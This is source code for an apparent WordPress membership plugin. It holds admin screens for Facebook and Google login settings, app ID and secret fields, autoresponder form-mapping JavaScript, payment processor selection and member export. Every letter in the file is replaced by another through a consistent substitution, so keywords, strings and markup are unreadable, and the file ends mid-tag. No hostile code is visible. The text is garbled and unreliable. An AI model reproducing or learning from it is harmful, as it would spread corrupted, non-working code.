(xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_FqqQplrmU])) { xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_BsFEuBCQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_BsFEuBCQplrmU, O)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_BsFEuBCQplrmU, P)U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_FqqQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_FqqQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_FqqQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_nBDoBmQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_nBDoBmQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_nBDoBmQplrmU]))U } } SAFDBErrv_BsFEuBC = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_BsFEuBCQplrmU)==OU SAFDBErrv_Fqq = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_FqqQplrmU)U SAFDBErrv_nBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_nBDoBmQplrmU)U SqFonB = qFonB_lou(yrtB_lou())U SAFDBErrv_lou = SqFonB[QplrmUyrnmQplrmU]U WQzmUY      QumUqQzmUY         QumUuFEBuQzmUY            QumUxsqlm mhqB=QplrmUDyBDvEriQplrmU xC=QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_BsFEuBCQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_BsFEuBCQplrmU QumUWqyq DyBDvBC(SAFDBErrv_BsFEuBC)U WQzmU /QzmU bsFEuB aFDBErrv 4rzxsWQumU/uFEBuQzmUY            QumUWqyq xA (SAFDBErrv_BsFEuBC): WQzmUQumUF yoBA=QplrmUQumUWqyq BDyr yrtB_lou(QplrmUjq-urzxs.qyqWtBtEBozBsxln_urzxs=AFDBErrvQplrmU)U WQzmUQplrmUQzmU(mBnm aFDBErrv urzxs)QumU/FQzmUQumUWqyq BsCxAU WQzmUY            QumUEo /QzmUY         QumUuFEBuQzmUQumUnmorszQzmUfqq 7c:QumU/nmorszQzmU QumUxsqlm mhqB=QplrmUmBimQplrmU DuFnn=QplrmUDrCBQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_FqqQplrmU nxgB=QplrmUMKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SAFDBErrv_Fqq)U WQzmUQplrmU rsDyFszB=QplrmUw&lBoh(QTPMGUTtBtEBozBsxln_nBmmxszn_AFDBErrv_BsFEuBCQTPMGU).Fmmo(QTPMGUDyBDvBCQTPMGU, molB)UQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUY         QumUuFEBuQzmUQumUnmorszQzmUfqq $BDoBm:QumU/nmorszQzmU QumUxsqlm mhqB=QplrmUqFnnjroCQplrmU DuFnn=QplrmUDrCBQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_nBDoBmQplrmU nxgB=QplrmUMKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SAFDBErrv_nBDoBm)U WQzmUQplrmU rsDyFszB=QplrmUw&lBoh(QTPMGUTtBtEBozBsxln_nBmmxszn_AFDBErrv_BsFEuBCQTPMGU).Fmmo(QTPMGUDyBDvBCQTPMGU, molB)UQplrmU rsArDln=QplrmUmyxn.mhqB=QTPMGUmBimQTPMGUQplrmU rsEulo=QplrmUmyxn.mhqB=QTPMGUqFnnjroCQTPMGUQplrmU /QzmUQumU/uFEBuQzmUY      QumU/qQzmUYY      QumUqQzmU7snmolDmxrsn:QumU/qQzmUYY      QumUEurDvplrmBQzmUY      QumUqQzmU7A hrl BkBo sBBC mr oBmoxBkB hrlo Fqq 7c FsC Fqq nBDoBm FzFxs, zr mr QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://CBkBurqBon.AFDBErrv.Drt/FqqnQplrmUQzmUCBkBurqBon.AFDBErrv.Drt/FqqnQumU/FQzmU, DuxDv myB Fqq Aro QumUDrCBQzmUQumUWqyq BDyr ymtuBsmxmxBn(SAFDBErrv_lou)U WQzmUQumU/DrCBQzmU FsC DyrrnB $Bmmxszn.QumU/qQzmUYY      QumUruQzmUY         QumUuxQzmU9r mr myB aFDBErrv cBkBurqBo dBsmBo Fm QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://CBkBurqBon.AFDBErrv.Drt/FqqnQplrmUQzmUCBkBurqBon.AFDBErrv.Drt/FqqnQumU/FQzmUQumU/uxQzmUY         QumUuxQzmUduxDv myB QFtqUplrmUfCC 2Bj fqqQFtqUplrmU rs myB mrq oxzymQumU/uxQzmUY         QumUuxQzmUdyrrnB QumUDrCBQzmU?BEnxmBQumU/DrCBQzmUQumU/uxQzmUY         QumUuxQzmUaro myB Fqq mxmuB, BsmBo QumUDrCBQzmUQumUWqyq BDyr ymtuBsmxmxBn(zBm_rqmxrs(QplrmUsFtBQplrmU))U WQzmUQumU/DrCBQzmU FsC DuxDv QumUDrCBQzmUdoBFmB 2Bj aFDBErrv fqq 7cQumU/DrCBQzmUQumU/uxQzmUY         QumUuxQzmUaxuu xs hrlo DrsmFDm BtFxu, FsC DyrrnB F DFmBzroh, nlDy Fn QumUDrCBQzmUelnxsBnnQumU/DrCBQzmU FsC DuxDv QumUDrCBQzmUdoBFmB fqq 7cQumU/DrCBQzmUQumU/uxQzmUY         QumUuxQzmUQumUnmorszQzmU7tqromFsm:QumU/nmorszQzmU duxDv myB QumUDrCBQzmU$vxq &lxDv $mFomQumU/DrCBQzmU uxsv rs myB mrq oxzymQumU/uxQzmUY         QumUuxQzmU9r mr $Bmmxszn, fCC 0uFmArot, DyrrnB ?BEnxmB, FsC lsCBo $xmB ;	4, BsmBo QumUDrCBQzmUQumUWqyq BDyr ymtuBsmxmxBn(yrtB_lou())U WQzmUQumU/DrCBQzmUQumU/uxQzmUY         QumUuxQzmU7s myB fqq crtFxsn mBimEri, BsmBo QumUDrCBQzmUQumUWqyq BDyr ymtuBsmxmxBn(SAFDBErrv_lou)U WQzmUQumU/DrCBQzmU FsC DuxDv $FkB dyFszBnQumU/uxQzmUY         QumUuxQzmUdrqh myB QumUDrCBQzmUfqq 7cQumU/DrCBQzmU FsC QumUDrCBQzmUfqq $BDoBmQumU/DrCBQzmU DrCBn xsmr myB mBim EriBn EBurj FsC DuxDv $FkB fuu dyFszBnQumU/uxQzmUY         QumUuxQzmUaxsFuuh, xs hrlo aFDBErrv cBkBurqBo mFE, zr mr fqq 	BkxBj, FsC njxmDy QumUDrCBQzmU3FvB QumUWqyq BDyr ymtuBsmxmxBn(zBm_rqmxrs(QplrmUsFtBQplrmU))U WQzmU 0lEuxDWQumU/DrCBQzmU dyrrnB QumUDrCBQzmUQumUWqyq BDyr Dyo(HG)U WQzmUBn.QumU/DrCBQzmUQumU/uxQzmUY      QumU/ruQzmUY      QumU/EurDvplrmBQzmU     YY      QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmU /QzmUQumU/qQzmUY      QumUWqyqY } AlsDmxrs tBsl_nrDxFu_zrrzuB() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_FqqQplrmU])) { xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_BsFEuBCQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_BsFEuBCQplrmU, O)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_BsFEuBCQplrmU, P)U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_FqqQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_FqqQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_FqqQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_nBDoBmQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_nBDoBmQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_nBDoBmQplrmU]))U } } SzrrzuB_BsFEuBC = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_BsFEuBCQplrmU)==OU SzrrzuB_Fqq = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_FqqQplrmU)U SzrrzuB_nBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_nBDoBmQplrmU)U WQzmUY      QumUqQzmUY         QumUuFEBuQzmUY            QumUxsqlm mhqB=QplrmUDyBDvEriQplrmU xC=QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_BsFEuBCQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_BsFEuBCQplrmU QumUWqyq DyBDvBC(SzrrzuB_BsFEuBC)U WQzmU /QzmU bsFEuB 9rrzuB 4rzxsWQumU/uFEBuQzmUY            QumUWqyq xA (SzrrzuB_BsFEuBC): WQzmUQumUF yoBA=QplrmUQumUWqyq BDyr yrtB_lou(QplrmUjq-urzxs.qyqWtBtEBozBsxln_urzxs=zrrzuBQplrmU)U WQzmUQplrmUQzmU(mBnm 9rrzuB urzxs)QumU/FQzmUQumUWqyq BsCxAU WQzmUY            QumUEo /QzmUY         QumUuFEBuQzmUQumUnmorszQzmUduxBsm 7c:QumU/nmorszQzmU QumUxsqlm mhqB=QplrmUmBimQplrmU DuFnn=QplrmUDrCBQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_FqqQplrmU nxgB=QplrmUIKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SzrrzuB_Fqq)U WQzmUQplrmU rsDyFszB=QplrmUw&lBoh(QTPMGUTtBtEBozBsxln_nBmmxszn_zrrzuB_BsFEuBCQTPMGU).Fmmo(QTPMGUDyBDvBCQTPMGU, molB)UQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUY         QumUuFEBuQzmUQumUnmorszQzmUduxBsm $BDoBm:QumU/nmorszQzmU QumUxsqlm mhqB=QplrmUqFnnjroCQplrmU DuFnn=QplrmUDrCBQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_nBDoBmQplrmU nxgB=QplrmUMKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SzrrzuB_nBDoBm)U WQzmUQplrmU rsDyFszB=QplrmUw&lBoh(QTPMGUTtBtEBozBsxln_zrrzuB_AFDBErrv_BsFEuBCQTPMGU).Fmmo(QTPMGUDyBDvBCQTPMGU, molB)UQplrmU rsArDln=QplrmUmyxn.mhqB=QTPMGUmBimQTPMGUQplrmU rsEulo=QplrmUmyxn.mhqB=QTPMGUqFnnjroCQTPMGUQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUYY         QumUuFEBuQzmUQumUnmorszQzmU	BCxoBDm ;	7:QumU/nmorszQzmU (Aro urzxs AlsDmxrsFuxmh, Drqh myxn mr 9rrzuB cBkBurqBo drsnruB)QumUEo /QzmUY         QumUmBimFoBF oBFCrsuh=QplrmUoBFCrsuhQplrmU DuFnn=QplrmUDrCBQplrmU orjn=QplrmUNQplrmU Drun=QplrmUHPQplrmU rsArDln=QplrmUmyxn.nBuBDm()UQplrmU nmhuB=QplrmUDlonro:qrxsmBoUQplrmUQzmUQumUWqyq BDyr yrtB_lou(QplrmUjq-urzxs.qyqWtBtEBozBsxln_urzxs=zrrzuB_DFuuEFDvQplrmU)U WQzmUQumU/mBimFoBFQzmUQumU/uFEBuQzmUQumUEo /QzmUY         QumUuFEBuQzmUQumUnmorszQzmU	BCxoBDm ;	7:QumU/nmorszQzmU (Aro oBzxnmoFmxrs AlsDmxrsFuxmh, Drqh myxn mr 9rrzuB cBkBurqBo drsnruB)QumUEo /QzmUY         QumUmBimFoBF oBFCrsuh=QplrmUoBFCrsuhQplrmU DuFnn=QplrmUDrCBQplrmU orjn=QplrmUNQplrmU Drun=QplrmUHPQplrmU rsArDln=QplrmUmyxn.nBuBDm()UQplrmU nmhuB=QplrmUDlonro:qrxsmBoUQplrmUQzmUQumUWqyq BDyr yrtB_lou(QplrmUjq-urzxs.qyqWtBtEBozBsxln_oBzxnmBo=zrrzuB_DFuuEFDvQplrmU)U WQzmUQumU/mBimFoBFQzmUQumU/uFEBuQzmUY      QumU/qQzmUYY      QumUqQzmU7snmolDmxrsn:QumU/qQzmUYY      QumUEurDvplrmBQzmUY      QumUruQzmUY         QumUuxQzmU4rzxs mr myB QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://DrsnruB.CBkBurqBon.zrrzuB.DrtQplrmUQzmU9rrzuB cBkBurqBo drsnruBQumU/FQzmU Fm QumUDrCBQzmUDrsnruB.CBkBurqBon.zrrzuB.DrtQumU/DrCBQzmU lnxsz hrlo 9rrzuB FDDrlsmQumU/uxQzmUY         QumUuxQzmU1s myB mrq CorqCrjs, DyrrnB QumUDrCBQzmUdoBFmB 0orwBDmQumU/DrCBQzmU FsC sFtB xm QumUDrCBQzmU3BtEBo 9Bsxln QumUWqyq BDyr ymtuBsmxmxBn(zBm_rqmxrs(QplrmUsFtBQplrmU))U WQzmUQumU/DrCBQzmUQumU/uxQzmUY         QumUuxQzmUQumUWqyq BDyr Dyo(HG)U WQzmUrl nyrluC EB oBmlosBC mr myB QFtqUplrmU1kBokxBjQFtqUplrmU nDoBBs. duxDv QumUDrCBQzmU9rrzuB+ f07QumU/DrCBQzmU FsC zBm_rqmxrs myB EulB QumUDrCBQzmUbsFEuBQumU/DrCBQzmU ElmmrsQumU/uxQzmUY         QumUuxQzmU1s myB nxCBEFo, DuxDv QumUDrCBQzmUdoBCBsmxFunQumU/DrCBQzmU. #yBs rs myB qFzB myFm urFCn, DuxDv QumUDrCBQzmUdoBFmB doBCBsmxFunQumU/DrCBQzmU FsC QumUDrCBQzmU1flmy duxBsm 7cQumU/DrCBQzmUQumU/uxQzmUY         QumUuxQzmUduxDv myB Elmmrs mr QumUDrCBQzmUdrsAxzloB drsnBsm $DoBBsQumU/DrCBQzmU FsC BsmBo 0orClDm 2FtB QumUDrCBQzmU3BtEBo 9Bsxln QumUWqyq BDyr ymtuBsmxmxBn(zBm_rqmxrs(QplrmUsFtBQplrmU))U WQzmUQumU/DrCBQzmUQumU/uxQzmUY         QumUuxQzmU?yBs xm Fnvn Aro Fs QumUDrCBQzmUfqquxDFmxrs #hqBQumU/DrCBQzmU, DyrrnB QumUDrCBQzmU?BE fqquxDFmxrsQumU/DrCBQzmU FsC BsmBo sFtB: QumUDrCBQzmU3BtEBo 9Bsxln QumUWqyq BDyr ymtuBsmxmxBn(zBm_rqmxrs(QplrmUsFtBQplrmU))U WQzmUQumU/DrCBQzmUQumU/uxQzmUY         QumUuxQzmU$vxq myB flmyroxgBC 6FkF$Doxqm ;	4n -- Cr srm BsmBo Fshmyxsz myBoBQumU/uxQzmUY         QumUuxQzmU;sCBo QumUDrCBQzmUflmyroxgBC 	BCxoBDm ;	7QumU/DrCBQzmU Drqh myB Axonm 	BCxoBDm ;	7 sBFo myB mrq rA #87$ qFzB (oxzym DuxDv, drqh) FsC qFnmB rsmr myB 9rrzuB qFzB (oxzym DuxDv, qFnmB)QumU/uxQzmUY         QumUuxQzmUdrqh myB nBDrsC 	BCxoBDm ;	7 Aort myxn qFzB FsC qFnmB xm Fn FsrmyBo 	BCxoBDm ;	7 rs myFm nFtB nDoBBs xs 9rrzuBQumU/uxQzmUY         QumUuxQzmUduxDv QumUDrCBQzmUdoBFmBQumU/DrCBQzmU. drqh myB QumUDrCBQzmUduxBsm 7cQumU/DrCBQzmU FsC QumUDrCBQzmUduxBsm $BDoBmQumU/DrCBQzmU rsmr myxn qFzB FsC DuxDv QumUDrCBQzmU$FkB fuu dyFszBnQumU/DrCBQzmUQumU/uxQzmUY      QumU/ruQzmUY      QumU/EurDvplrmBQzmUYY         QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmU /QzmUQumU/qQzmUY      QumUWqyqY } AlsDmxrs tBsl_FlmroBnqrsCBo_wFkFnDoxqm() { WQzmUY      QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY      QumUV--Y      AlsDmxrs kBoxAharot(BtFxu!FulB, Axonm!FulB, uFnm!FulB) {Y         FnnxzscorqCrjs()U // lqCFmB ArotnYY         kFo qFonBarot = w&lBoh(QplrmUTtBtEBozBsxln_qFonBQplrmU).AxsC(QplrmUArot:AxonmQplrmU)U // Arot mr nlEtxmY         qFonBarot = w&lBoh(qFonBarot)UYY         // axuu xs kFulBnY         kFo BtFxuaxBuC = w&lBoh(QTPMGUTtBtEBozBsxln_BtFxuQTPMGU).kFu()UY         kFo AxonmaxBuC = w&lBoh(QTPMGUTtBtEBozBsxln_AxonmsFtBQTPMGU).kFu()UY         kFo uFnmaxBuC = w&lBoh(QTPMGUTtBtEBozBsxln_uFnmsFtBQTPMGU).kFu()UY         Y         qFonBarot.AxsC(QplrmUxsqlm[sFtB=QTPMGUQplrmU+BnDFqB(BtFxuaxBuC)+QplrmUQTPMGU]QplrmU).Axonm().Fmmo(QplrmUkFulBQplrmU, BtFxu!FulB)UY         qFonBarot.AxsC(QplrmUxsqlm[sFtB=QTPMGUQplrmU+BnDFqB(AxonmaxBuC)+QplrmUQTPMGU]QplrmU).Axonm().Fmmo(QplrmUkFulBQplrmU, Axonm!FulB)UY         qFonBarot.AxsC(QplrmUxsqlm[sFtB=QTPMGUQplrmU+BnDFqB(uFnmaxBuC)+QplrmUQTPMGU]QplrmU).Axonm().Fmmo(QplrmUkFulBQplrmU, uFnm!FulB)UYY         // 1qBs xs F sBj jxsCrjY         qFonBarot.Fmmo(QplrmUmFozBmQplrmU, QplrmU_EuFsvQplrmU)UYY         // cBuBmB nlEtxm Elmmrs jyxDy DFlnBn qorEuBtnY         qFonBarot.AxsC(QplrmU[sFtB=QTPMGUnlEtxmQTPMGU]QplrmU).BFDy(AlsDmxrs(x, rEw) { w&lBoh(rEw).oBtrkB()U })UY         qFonBarot.moxzzBo(QplrmUnlEtxmQplrmU)UY      }YY      AlsDmxrs qrqluFmBcorqCrjs(Corqcrjs, myBfooFh, qoBAxi) {Y         kFo xUY         Corqcrjs.uBszmy = PUYY         Corqcrjs.rqmxrsn[Corqcrjs.rqmxrsn.uBszmy] = sBj 1qmxrs(qoBAxi + QplrmU(srsB)QplrmU, QplrmUQplrmU)UY         Aro (x=PU xQumUmyBfooFh.uBszmyU x++) {Y            Corqcrjs.rqmxrsn[Corqcrjs.rqmxrsn.uBszmy] = sBj 1qmxrs(qoBAxi + myBfooFh[x], myBfooFh[x])UY         }Y      }YY      fooFh.qormrmhqB.xs_FooFh = AlsDmxrs ( rEw ) {Y         kFo uBs = myxn.uBszmyUY         Aro ( kFo i = P U i QumU= uBs U i++ ) {Y            xA ( myxn[i] == rEw ) oBmlos molBUY         }Y         oBmlos AFunBUY      }YY      AlsDmxrs FnnxzscorqCrjs() {Y         kFo qFonBarot = CrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_qFonBQTPMGU)UY         kFo BtFxu = CrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_BtFxuQTPMGU)UY         kFo AxonmsFtB = CrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_AxonmsFtBQTPMGU)UY         kFo uFnmsFtB = CrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_uFnmsFtBQTPMGU)UYY         kFo DyrxDBn = sBj fooFh()UYY         w&lBoh(QplrmUTtBtEBozBsxln_qFonBQplrmU).ymtu(Y            w&lBoh(QplrmUTtBtEBozBsxln_DrCBQplrmU).kFu()Y         )UYY         w&lBoh(qFonBarot).AxsC(QplrmUxsqlm[sFtB=QTPMGUoBCxoBDmQTPMGU], nmhuBQplrmU).BFDy(AlsDmxrs(x, rEw) { w&lBoh(rEw).oBtrkB()U })UYY         w&lBoh(qFonBarot).AxsC(QplrmUxsqlmQplrmU).BFDy(AlsDmxrs(x, noD) {Y            kFo m = w&lBoh(noD).Fmmo(QplrmUmhqBQplrmU)UY            xA (m == QplrmUmBimQplrmU || m == QplrmUBtFxuQplrmU) {Y               DyrxDBn[DyrxDBn.uBszmy] = w&lBoh(noD).Fmmo(QplrmUsFtBQplrmU)UY            }Y         })UYY         // ;qCFmB mBim FoBFY         w&lBoh(QplrmUTtBtEBozBsxln_DrCBQplrmU).kFu(Y            w&lBoh(QplrmUTtBtEBozBsxln_qFonBQplrmU).ymtu()Y         )UYY         qrqluFmBcorqCrjs(BtFxu, DyrxDBn, QplrmUbtFxu axBuC: QplrmU)UY         qrqluFmBcorqCrjs(AxonmsFtB, DyrxDBn, QplrmUaxonm 2FtB axBuC: QplrmU)UY         qrqluFmBcorqCrjs(uFnmsFtB, DyrxDBn, QplrmU4Fnm 2FtB axBuC: QplrmU)UYY         //AxonmsFtB.uBszmy = PUYY         xA (w&lBoh(QTPMGUTuFnmsFtB_nmroBCQTPMGU).kFu() == QTPMGUQTPMGU) {Y            uFnmsFtB.kFulB = lsCBAxsBCUY         }YY         //xA (CrDltBsm.zBmbuBtBsmeh7C(QTPMGUjquxnmElxuCBo_AxonmsFtB_nmroBCQTPMGU).kFulB == QTPMGUQTPMGU) {Y         xA (w&lBoh(QTPMGUTAxonmsFtB_nmroBCQTPMGU).kFu() == QTPMGUQTPMGU || VDyrxDBn.xs_FooFh(w&lBoh(QTPMGUTAxonmsFtB_nmroBCQTPMGU).kFu())) {Y            // 9lBnnVY            xA (DyrxDBn.xs_FooFh(QTPMGUsFtBQTPMGU)) { AxonmsFtB.kFulB = QTPMGUsFtBQTPMGUU }Y            BunB xA (DyrxDBn.xs_FooFh(QTPMGUa2f3bQTPMGU)) { AxonmsFtB.kFulB = QTPMGUa2f3bQTPMGUU } // 3FxudyxtqY            BunB xA (DyrxDBn.xs_FooFh(QTPMGUAsFtBQTPMGU)) { AxonmsFtB.kFulB = QTPMGUAsFtBQTPMGUU }Y            BunB xA (DyrxDBn.xs_FooFh(QTPMGUAortQTPMGU)) { AxonmsFtB.kFulB = QTPMGUAortQTPMGUU }Y            BunB xA (DyrxDBn.xs_FooFh(QTPMGU$lEnDoxEBo2FtBQTPMGU)) { AxonmsFtB.kFulB = QTPMGU$lEnDoxEBo2FtBQTPMGUU }Y            BunB xA (DyrxDBn.xs_FooFh(QTPMGUDFmBzrohNQTPMGU)) { AxonmsFtB.kFulB = QTPMGUDFmBzrohNQTPMGUU }Y            BunB xA (DyrxDBn.xs_FooFh(QTPMGU$BsC2FtBQTPMGU)) { AxonmsFtB.kFulB = QTPMGU$BsC2FtBQTPMGUU }Y            BunB { AxonmsFtB.kFulB = DyrxDBn[P]U }YY            xA (DyrxDBn.xs_FooFh(QTPMGUb3f74QTPMGU)) { BtFxu.kFulB = QTPMGUb3f74QTPMGUU } // 3FxudyxtqY            BunB xA (DyrxDBn.xs_FooFh(QTPMGUBtFxuQTPMGU)) { BtFxu.kFulB = QTPMGUBtFxuQTPMGUU }Y            BunB xA (DyrxDBn.xs_FooFh(QTPMGUbtFxuOQTPMGU)) { BtFxu.kFulB = QTPMGUbtFxuOQTPMGUU }Y            BunB xA (DyrxDBn.xs_FooFh(QTPMGU3FxuaortfCCoBnnQTPMGU)) { BtFxu.kFulB = QTPMGU3FxuaortfCCoBnnQTPMGUU }Y            BunB xA (DyrxDBn.xs_FooFh(QTPMGUDFmBzrohMQTPMGU)) { BtFxu.kFulB = QTPMGUDFmBzrohMQTPMGUU }Y            BunB xA (DyrxDBn.xs_FooFh(QTPMGU$BsCbtFxuQTPMGU)) { BtFxu.kFulB = QTPMGU$BsCbtFxuQTPMGUU }Y            BunB { BtFxu.kFulB = DyrxDBn[O]U }Y         }Y         BunB {Y            // ;nB nmroBC kFulBn...Y            BtFxu.kFulB = w&lBoh(QTPMGUTBtFxu_nmroBCQTPMGU).kFu()UY            AxonmsFtB.kFulB = w&lBoh(QTPMGUTAxonmsFtB_nmroBCQTPMGU).kFu()U              Y            uFnmsFtB.kFulB = w&lBoh(QTPMGUTuFnmsFtB_nmroBCQTPMGU).kFu()U              Y         }Y      }Y      // --QzmUY      FnnxzscorqCrjs()UY      QumU/nDoxqmQzmUY      QumUWqyqY } qlEuxD AlsDmxrs tBsl_qFhtBsmn() { zurEFu StBtEBozBsxlnU SDlooBsmdFom = QplrmU9BsBoxDQplrmUU xA (xnnBm(S_01$#[QplrmUDFomQplrmU])) { SDlooBsmdFom = nmoxqnuFnyBn(S_01$#[QplrmUDFomQplrmU])U StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDFom_uFnmQplrmU, SDlooBsmdFom)U } BunB { SDlooBsmdFom = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDFom_uFnmQplrmU)U } SDFomduFnn = sluuU xA (SDlooBsmdFom QFtqUQFtqU xnnBm(StBtEBozBsxln-QzmUDFomn[SDlooBsmdFom])) { SDFomduFnn = StBtEBozBsxln-QzmUDFomn[SDlooBsmdFom]U } xA (VDuFnn_Bixnmn(SDFomduFnn) || zBm_qFoBsm_DuFnn(SDFomduFnn) V= QplrmU3BtEBo9BsxlndFomQplrmU) { SDFomduFnn = sluuU } WQzmUY      QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyUQplrmUQzmUY         QumUWqyq Smyxn-QzmUtBsl_yBFCBo(QplrmU0FhtBsmnQplrmU)U WQzmUYY         QumUArot tBmyrC=QplrmUqrnmQplrmUQzmUYY         QumUqQzmUQumUuFEBuQzmU$BuBDm 0orDBnnro: Y         QumUnBuBDm sFtB=QplrmUDFomQplrmU rsDyFszB=QplrmUmyxn.Arot.nlEtxm()UQplrmUQzmUY            QumUWqyq AroBFDy (StBtEBozBsxln-QzmUDFomn Fn SDFom2FtB =QzmU SDuFnn): WQzmUY            QumUrqmxrs QumUWqyq nBuBDmBC(SDFom2FtB==SDlooBsmdFom)U WQzmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SDFom2FtB)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDFom2FtB)U WQzmU QFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQumU/rqmxrsQzmUY            QumUWqyq BsCAroBFDyU WQzmUY         QumU/nBuBDmQzmUQumU/uFEBuQzmUY         QumUxsqlm mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmU$BuBDm $yrqqxsz dFomQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU /QzmUQumU/qQzmUYY         QumUWqyqY xA (SDFomduFnn V= sluu) { SDFom = sBj SDFomduFnnU SDFom-QzmUxsnmolDmxrsn()U } WQzmUY         QumU/ArotQzmUY      QumU/CxkQzmUY      QumUWqyqY } qoxkFmB AlsDmxrs tBsl_tBtEBon_Biqrom() { zurEFu StBtEBozBsxlnU SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U WQzmUY      QumUyMQzmUbiqrom 3BtEBonQumU/yMQzmUYY      QumUqQzmUcltq F uxnm rA nrtB (ro Fuu) rA hrlo tBtEBon xsmr F d$! (DrttF nBqFoFmBC) AxuB myFm hrl DFs xtqrom xsmr hrlo FlmroBnqrsCBo ro DlnmrtBo tFsFzBtBsm nhnmBt.QumU/qQzmUYY      QumUArot tBmyrC=QplrmU01$#QplrmUQzmUY      QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_FDmxrsQplrmU kFulB=QplrmUCrjsurFCQplrmUQzmUYY      QumUluQzmUY      QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY      QumUuxQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU DyBDvBC=QplrmUDyBDvBCQplrmU sFtB=QplrmUtBtEBozBsxln_uBkBu[]QplrmU 